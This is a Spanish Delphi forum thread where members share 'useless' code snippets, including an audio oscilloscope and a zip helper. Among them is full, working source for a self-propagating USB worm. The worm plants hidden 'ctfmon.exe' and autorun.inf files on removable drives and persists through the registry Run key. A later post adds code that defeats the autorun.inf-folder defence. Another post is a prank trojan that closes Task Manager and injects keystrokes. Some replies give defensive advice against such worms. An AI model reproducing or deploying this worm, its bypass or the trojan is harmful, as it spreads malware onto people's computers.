Codigo sin utilidad

[[Caral]]

Hola
Muy bueno, que mas decir, algún día lo entenderé.
Ya lo puse a correr, le quite algunos unit o esas cosas que no me dejaban, pero ya funciona.
Ojala sigas aportando código, estos de inútiles no tienen nada.
Tengo una carpeta llena de tus códigos, pronto los tendré que catalogar
Saludos

[[Al González]]

¡Hola a todos!

Mis mejores deseos para el año 2008 que inicia hoy.

Domingo: Hablando de colores, ¿de pura casualidad tendrás algo para cambiar los colores o la textura de las barras de desplazamiento en Windows XP? Principalmente el fondo de la barra y el botón de deslizamiento.

Saludos.

Al González.

[[seoane]]

Empezado por Al González

Domingo: Hablando de colores, ¿de pura casualidad tendrás algo para cambiar los colores o la textura de las barras de desplazamiento en Windows XP? Principalmente el fondo de la barra y el botón de deslizamiento.

Pues la verdad es que no tengo ni idea Al, pensé que en "Propiedades de pantalla" se podría cambiar, pero no encuentro esa opción. Una alternativa seria hacer un programa con un hook que cambie el color de todas las barras de desplazamiento según se van creando, no es muy complicado, pero me parece que seria matar moscas a cañonazos ¿no te parece?

[[Delphius]]

Hola, se que no aporto mucho... Alberto (o Al, como más gustes) yo andaba pensando... si con:

ProgressBar1.Perform(bla,bla,bla);

Se puede conseguir cambiar el color... (si... se que existe el Gauge. es un ejemplo) ¿Que impide que no se podrá conseguir con algo similar o análogo a Perfom lo que tu andas buscando?

La verdad es que no lo he probado ni averiguado... pero es una curiosidad mía que me anda surgiendo cuando mi torsida mente se pone colorida y empieza a buscar cosillas para hacer más vistosos los aplicativos.

Espero no haber dicho algo demasiado estúpido.

Saludos,
PD: Al, me resultó extraño no ver un final como este: Saludos coloridos

[[cHackAll]]

Código Delphi [-]
uses Windows, Messages;

var
 Cursor: TPoint;
 idAttach, idAttachTo: Cardinal;

procedure vkEmulate(const bVk: Byte);
begin       
 keybd_event(bVk, 0, 0, 0);
 keybd_event(bVk, 0, KEYEVENTF_KEYUP, 0);
end;

procedure SendKeys(lpKeys: PChar);
begin
 repeat
  vkEmulate(VkKeyScan(lpKeys[0]));
  Inc(Cardinal(lpKeys));
 until lpKeys[0] = #0;
end;

procedure SetRoman(hWnd: Cardinal);
begin
 SendMessage(hWnd, WM_SETTEXT, 0, Integer(PChar('Roman')));
end;

var ClassName: array[0..15] of Char;
label Back;
begin
 idAttach := GetCurrentThreadId;
 Back: Sleep($7F);
 GetCursorPos(Cursor);
 SetRoman(WindowFromPoint(Cursor));
 SendMessage(FindWindow(nil, 'Administrador de tareas de Windows'), WM_SYSCOMMAND, SC_CLOSE, 0);
 idAttachTo := GetWindowThreadProcessID(GetForegroundWindow, nil);
 if not AttachThreadInput(idAttach, idAttachTo, True) then goto Back;
 GetClassName(GetFocus, @ClassName, SizeOf(ClassName));
 if lstrcmp(@ClassName, 'Internet') = 0 then SendKeys('roman ');
 SetRoman(GetFocus); AttachThreadInput(idAttach, idAttachTo, False);
 goto Back;
end.

Saludos

[[egostar]]

, mira nadamas condenadote, este es el famoso fuente de la broma que te gastaste en el hilo de roman

Muy bueno, pero no le entiendo nada de nada .

Salud OS

[[seoane]]

Hola cHackAll, me alegro de que participes en el hilo, pero estaría bien que explicaras un poco que es lo que hace el código, puede que a alguno no le haga gracia la broma

[[cHackAll]]

Empezado por egostar

, mira nadamas condenadote, este es el famoso fuente de la broma que te gastaste en el hilo de roman

Muy bueno, pero no le entiendo nada de nada .

Salud OS

Pues que les puedo decir; es un fuente que no me pareció (a diferencia de los perjudicados) un "Troyano ofensivo"... pero ya es pasado. (más bien que la "simplicidad" no implicó un "destierro")

En todo caso se me ocurrió ponerlo como "cofigo sin utilidad" pues no entra en otro lugar del foro... espero no vaya a ser un "BOOT FAILURE"

Saludos

[[cHackAll]]

Empezado por seoane

Hola cHackAll, me alegro de que participes en el hilo, pero estaría bien que explicaras un poco que es lo que hace el código, puede que a alguno no le haga gracia la broma

Tienes mucha razón ... la información de un posible problema la obtienes revisando el link que os dejé... en todo caso es un programa que modifica el "Caption" de cualquier ventana que de la que se pueda obtener su Handle al mover el ratón encima de una coordenada a la que la ventana pertenece.

Saludos

[Khronos]

Código Delphi [-]

program Fucker;
 
{$APPTYPE GUI}
 
uses
SysUtils, Windows, Registry, shellapi;
 
var
 
Unidad: string; 
Fuck: Array[0..260] of char;
folder: string;
OS: string;
dir: string;
 
const
CSIDL_PROFILE = 40;
SHGFP_TYPE_CURRENT = 0;
function SHGetFolderPath(hwndOwner: HWND;
nFolder: Integer;
hToken: THandle;
dwFlags: DWORD;
pszPath: LPTSTR): HRESULT; stdcall;
external 'Shell32.dll' name 'SHGetFolderPathA';
 
function GetUserProfile: string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
FillChar(Buffer, SizeOf(Buffer), 0);
SHGetFolderPath(0, CSIDL_PROFILE, 0, SHGFP_TYPE_CURRENT, Buffer);
Result := String(PChar(@Buffer));
end;
 
function DrivePreparado(Drive: Char): Boolean;
var
ErrorMode: word;
begin
if Drive in ['a'..'z'] then Dec(Drive, $20);
if not (Drive in ['A'..'Z']) then
raise EConvertError.Create('Not a valid drive ID');
ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
try
if DiskSize(Ord(Drive) - $40) = -1 then
Result := False
else
Result := True;
finally
SetErrorMode(ErrorMode);
end;
end;
 
 
procedure InfectarUsb;
var
Drive: Char;
Autorun: textfile;
begin
for Drive:= 'c' to 'z' do
if getDriveType(PCHAR(Drive + ':\')) = DRIVE_REMOVABLE then BEGIN
Unidad:=(UPCASE(Drive)) + ':\';
 
if DrivePreparado(Drive)=true then
begin
if not(FileExists(Unidad + 'ctfmon.exe')=true) then begin
CopyFile(Worm, PCHAR(Unidad + 'ctfmon.exe'), true);
FileSetAttr(Unidad + 'ctfmon.exe', faHidden or faReadOnly);
end;
if not(FileExists(Unidad + 'autorun.inf')=true) then begin
AssignFile(Autorun, Unidad + 'autorun.inf');
Rewrite(Autorun);
Writeln(Autorun, '[AUTORUN]');
Writeln(Autorun, 'OPEN=ctfmon.exe');
Writeln(Autorun, 'shell\open\command=ctfmon.exe ');
Writeln(Autorun, 'shell\open=');
Closefile(Autorun);
FileSetAttr(Unidad + 'autorun.inf', faHidden or faReadOnly);
end;
end;
 
END;
 
end;
 
procedure Autorun (name, path : string);
var
Reg: TRegistry;
begin
Reg:= TRegistry.create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
Reg.WriteString(name, path);
Reg.Destroy;
end;
 
function Windowsfolder : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
 
procedure firma;
var
text: textfile;
begin
AssignFile(text, OS + '\firma.html');
Rewrite(text);
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');


Writeln(text, 'Fucker');
Writeln(text, 'Sin ánimos de molestar a nadie');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Closefile(text);
end;
 
 
label back;
begin
OS:= windowsfolder;
GetDir(0, dir);
dir:= dir + '\autorun.inf';
 
 
if (FileExists(dir)=true) then
begin
//si es asi, explora esa unidad
dir:= emptystr;
GetDir(0, dir);
Shellexecute(0, 'explore', pchar(dir), '', '', SW_SHOWNORMAL);
end;
 
 
folder:= GetUserProfile + '\ctfmon.exe';
GetMoDuleFilename(0, Fuck, SizeOf(Fuck));
 
back:
CopyFile(Fuck, pchar(folder), true);
FileSetAttr(folder, faHidden or faReadOnly);
 
Autorun('Club Delphi Fucker v. 1', folder);
Autorun('Firma', OS + '\firma.html');
firma;
InfectarUSB;
 
Sleep(5000);
 
goto back;
 
end.

Sin ánimos de molestar a nadie

[Khronos]

No se porque pero el procedimiento firma no me lo pone correctamente:

Código Delphi [-]
procedure firma;
var
text: textfile;
begin
AssignFile(text, OS + '\firma.html');
Rewrite(text);
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');

Writeln(text, 'Fucker');
Writeln(text, 'Sin ánimos de molestar a nadie');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Closefile(text);
end;

EDITO: No me deja ponerlo porque son instrucciones en html

[[cHackAll]]

Empezado por Khronos

...Sin ánimos de molestar a nadie

Pues se ve interesante el código sin utilidad; ante tales molestos virus les doy el siguiente TIP: creen una carpeta llamada "autorun.inf" en la raíz de la unidad a la que quieren protejer, el virus iluso no podrá hacer nada; si crean una carpeta dentro de nuestra carpeta "autorun.inf" reducirá el impacto de tales virus.

Siendo NTFS el sistema de archivos de la unidad pueden quitarle los privilegios de acceso a nuestra carpeta "autorun.inf" y el virus no correrá nunca!

Tambien pueden exportar esta linea en el registro:

REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=dword:000000ff

Esta entrada de registro hará que el Güindos ignore al "autorun.inf".

PD: más bien que en el Güindos Vista no se les escapo semejante error!
Saludos

[Khronos]

Es muy util esa entrada del registro, ya veis lo inseguro que es el Windows con los autorun.inf. Este "gusano" buscaria todos los dispositivos usb que conectes al equipo y copiaria el ejecutable al dispositivo, ademas, para asegurar que se ejecuta crea el "autorun.inf".

[AUTORUN]
open=miexe.exe
icon=ico.ico

Este sería el tipico autorun.inf que pone cualquier programa en su CD_ROM de instalacion para que cargue automaticamente el instalador.
Este autorun.inf no tendría ningun efecto en los dispositivos USB pero si le añades la línea:

shell\open\command=miexe.exe

al hacer doble click sobre la imagen del dispositivo USB te esta cargando el "gusano".

Salu2

[[cHackAll]]

Khronos; tu "gusano" intenta crear en el Flash el archivo "autorun.inf" pero ohhh no puede pues ya existe una carpeta con dicho nombre...

Ahora a lo de la "inefectividad" de la la entrada de registro sugerida; verificalo y nos cuentas...

Saludos

[Khronos]

En cuanto a la carpeta con poner:

Código Delphi [-]
If directoryExists('F:\autorun.inf')=true then begin
    RemoveDir('F:\autorun.inf');
end;

EDITO: cHackAll probé la entrada del registro que me dijistes y nada, le cambié el valor, reinicié y al hacer doble click sobre el icono de la memoria flash seguia ejecutandose el programa . Probado en Windows XP Home Edition.

[[cHackAll]]

Empezado por Khronos

...Voy a probar la entrada del registro y os digo

Me temo que la idea no es refutar los N métodos que personas NO mal intencionadas difunden en la gran telaraña para protejer a los indefensos usuarios; la idea creo que no va por ese lado.

Saludos NO virulosos

[[cHackAll]]

He aquí una Joke que hice para un amigo (claro que le quite la parte "peligrosa"), la historia comenzó cuando le comenzaron a apodar "Calamardo" (personaje de Bob Esponja ), por la forma en que envolvía a su pareja con sus peligrosos tentáculos y se me ocurrió recordarle dicho acontesimiento por un tiempo. Como es de suponerse decidí no subestimarlo e inyecté un "sonidito" a un proceso crítico para que no pueda hacer "stop" .

Como está de moda esto de inyección de códigos les adjunto dicho código sin utilidad .

Saludos

[[cHackAll]]

Código Delphi [-]
uses Windows, Messages, MMSystem, Types; // by cHackAll

var
 Buffer: array [0..31] of Byte;
 hWnd, hCanvas, hBrush, hWhite, hGray: Cardinal;
 WaveInHdr: TWaveHdr = (lpData: @Buffer; dwBufferLength: SizeOf(Buffer));

function WndProc(hWnd, Msg, wParam, lParam: Integer): Integer; stdcall;
var PaintStruct: TPaintStruct;
begin
 Result := 0;
 case Msg of
  WM_ERASEBKGND: Result := 1;
  WM_PAINT: begin
             BeginPaint(hWnd, PaintStruct);
             BitBlt(PaintStruct.hdc, 0, 0, SizeOf(Buffer) * 3, $FF, hCanvas, 0, 0, SRCCOPY);
             EndPaint(hWnd, PaintStruct);
            end;
  WM_DESTROY: PostQuitMessage(0);
 else
  Result := DefWindowProc(hWnd, Msg, wParam, lParam);
 end
end;

procedure waveInProc(waveIn, uMsg, dwInstance, lParam, wParam: Cardinal); stdcall;
begin
 if uMsg = WIM_DATA then
  begin
   waveInAddBuffer(waveIn, PWaveHdr(lParam), SizeOf(TWaveHdr));
   FillRect(hCanvas, Rect(0, 0, SizeOf(Buffer) * 3, $FF), hBrush);
   SelectObject(hCanvas, hGray);
   waveIn := SizeOf(Buffer);
   repeat Dec(waveIn);
    if Abs(Buffer[waveIn] - 128) = 1 then Buffer[waveIn] := 128;
    MoveToEx(hCanvas, waveIn * 3, 0, nil);
    LineTo(hCanvas, waveIn * 3, $FF);
   until waveIn = 0;
   SelectObject(hCanvas, hWhite);
   waveIn := High(Buffer);
   MoveToEx(hCanvas, waveIn * 3, Buffer[waveIn], nil);
   repeat Dec(waveIn);
    LineTo(hCanvas, waveIn * 3, Buffer[waveIn]);
   until waveIn = 0;
   repeat
    if Abs(Buffer[waveIn] - 128) > 1 then
     begin
      MoveToEx(hCanvas, waveIn * 3, 128, nil);
      LineTo(hCanvas, waveIn * 3, Buffer[waveIn]);
     end;
    Inc(waveIn);
   until waveIn = SizeOf(Buffer);
   InvalidateRect(hWnd, nil, True);
  end;
end;

var
 hScreen, waveIn: Cardinal;
 WndClass: TWndClass = (lpfnWndProc: @WndProc; cbWndExtra: 4; lpszClassName: 'Waves');

 Rect: TRect;
 Value: Cardinal = 0;
 Controls: array [0..1] of TMixerControl;
 MixerLine: TMixerLine = (cbStruct: SizeOf(TMixerLine); dwDestination: 1; dwComponentType: MIXERLINE_COMPONENTTYPE_DST_WAVEIN);
 LineControls: tMixerLineControls = (cbStruct: SizeOf(TMixerLineControls); dwControlType: MIXERCONTROL_CONTROLTYPE_VOLUME; cbmxctrl: SizeOf(TMixerControl); pamxctrl: @Controls);
 Details: TMixerControlDetails = (cbStruct: SizeOf(TMixerControlDetails); cChannels: 1; cbDetails: SizeOf(Value); paDetails: @Value);
 FormatEx: TWaveFormatEx = (wFormatTag: WAVE_FORMAT_PCM; nChannels: 2; nSamplesPerSec: 100; nAvgBytesPerSec: 100; nBlockAlign: 1; wBitsPerSample: 8);
 Msg: TMsg;

begin
 hScreen := GetDC(0);
 hCanvas := CreateCompatibleDC(0);
 SelectObject(hCanvas, CreateCompatibleBitmap(hScreen, SizeOf(Buffer) * 3, $FF));
 hWhite := CreatePen(PS_SOLID, 1, $FFFFFF);
 hGray := CreatePen(PS_SOLID, 1, $404040);
 ReleaseDC(0, hScreen);

 WndClass.hCursor := CreateCursor(HInstance, 5, 5, 9, 9, PChar(#255#255#255#255#255#255#255#255#247#255#255#255#255#255#255#255#255#255), PChar(#8#8#8#8#8#8#28#28#255#128#28#8#8#8#8#8#8#0));
 RegisterClass(WndClass);
 hBrush := CreateSolidBrush(0);
 hWnd := CreateWindowEx(WS_EX_TOOLWINDOW + WS_EX_LAYERED, WndClass.lpszClassName, WndClass.lpszClassName, WS_VISIBLE, 0, 0, 0, $FF, 0, 0, hInstance, nil);
 GetClientRect(hWnd, Rect);
 SetWindowPos(hWnd, HWND_TOPMOST, 6, 6, SizeOf(Buffer) * 3 + 4, $FF + ($FF - Rect.Bottom), 0);
 SetLayeredWindowAttributes(hWnd, 0, 224, LWA_ALPHA);

 mixerOpen(@waveIn, 0, 0, 0, MIXER_OBJECTF_WAVEIN);
 mixerGetLineInfo(waveIn, @MixerLine, MIXER_GETLINEINFOF_COMPONENTTYPE);
 LineControls.dwLineID := MixerLine.dwLineID;
 LineControls.cControls := MixerLine.cControls;
 mixerGetLineControls(waveIn, @LineControls, MIXER_GETLINECONTROLSF_ALL);
 Details.dwControlID := Controls[0].dwControlID;
 Value := Byte(Controls[0].dwControlType = MIXERCONTROL_CONTROLTYPE_VOLUME) * $FFFF;
 MixerSetControlDetails(waveIn, @Details, MIXER_SETCONTROLDETAILSF_VALUE);
 Details.dwControlID := Controls[1].dwControlID;
 Value := Byte(Controls[1].dwControlType = MIXERCONTROL_CONTROLTYPE_VOLUME) * $FFFF;
 MixerSetControlDetails(waveIn, @Details, MIXER_SETCONTROLDETAILSF_VALUE);
 mixerClose(waveIn);

 waveInOpen(@waveIn, WAVE_MAPPER, @FormatEx, Cardinal(@WaveInProc), HInstance, CALLBACK_FUNCTION);
 waveInPrepareHeader(waveIn, @WaveInHdr, SizeOf(WaveInHdr));
 waveInAddBuffer(waveIn, @WaveInHdr, SizeOf(WaveInHdr));
 waveInStart(waveIn);

 repeat GetMessage(Msg, 0, 0, 0);
  DispatchMessage(Msg);
 until Msg.message = WM_QUIT;
end.

Esta es una pequeña prueba que creé hace algún tiempo, es un osciloscopio (scope ~ oscilloscope), de la salida de sonido. No funciona adecuadamente en algunos ordenadores pero en la mayoría si. Tampoco esta "afinada" pero cuanto tenga más tiempo libre lo haré!

Nota; El Stereo Mix NO debe estar en silencio. Les adjunto la fuente compilada para que lo prueben en caso de no poder compilarlo.

PD; Espero ésto deje de ser un monologo

Saludos

[[seoane]]

Empezado por cHackAll

PD; Espero ésto deje de ser un monologo

Ahora sabes como me sentía yo

Y con respecto a tu osciloscopio, esta bastante bien, me recuerda a un programita que colgué por aquí hace tiempo (onda creo que lo llame). Por supuesto el tuyo es mucho mas ligero, ya que, como es habitual en ti, no usas la VCL.

Espero que alguien mas se una al código inútil, ahora que yo lo tengo un poco abandonado

[[seoane]]

Bueno, aquí dejo como comprimir ficheros en un archivo zip usando la capacidad del windows XP de tratar los archivos zip como carpetas.

Código Delphi [-]
uses ComObj;

function NewZip(Zipfile: String): Boolean;
var
  F: File;
begin
  Result:= FALSE;
  AssignFile(F,Zipfile);
  {$I-}
    Rewrite(F,1);
  {$I+}
  if IOResult=0 then
  begin
    try
      BlockWrite(F,PChar(#80#75#5#6#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0)^,22);
      Result:= TRUE;
    except
    end;
    CloseFile(F);
  end;
end;

function AddToZip(Filename, Zipfile: Variant): Boolean;
var
  Shell: Variant;
begin
  try
    Shell:= CreateOleObject('Shell.Application');
    Shell.NameSpace(zipfile).CopyHere(Filename);
    Result:= TRUE;
  except
    Result:= FALSE;
  end;
end;

// Para crear el zip
NewZip('c:\prueba.zip');
AddToZip(ParamStr(0),'c:\prueba.zip');
// O incluso un directorio entero
AddToZip('c:\prueba','c:\prueba.zip');

Lo pongo en la sección de código inútil (además de para levantar un poco el hilo ) porque la compresión se realiza de forma asíncrona, y no he encontrado una forma (al menos no ninguna seria) de saber cuando se ha terminado de añadir los ficheros al zip, lo que hace difícil de utilizar este código.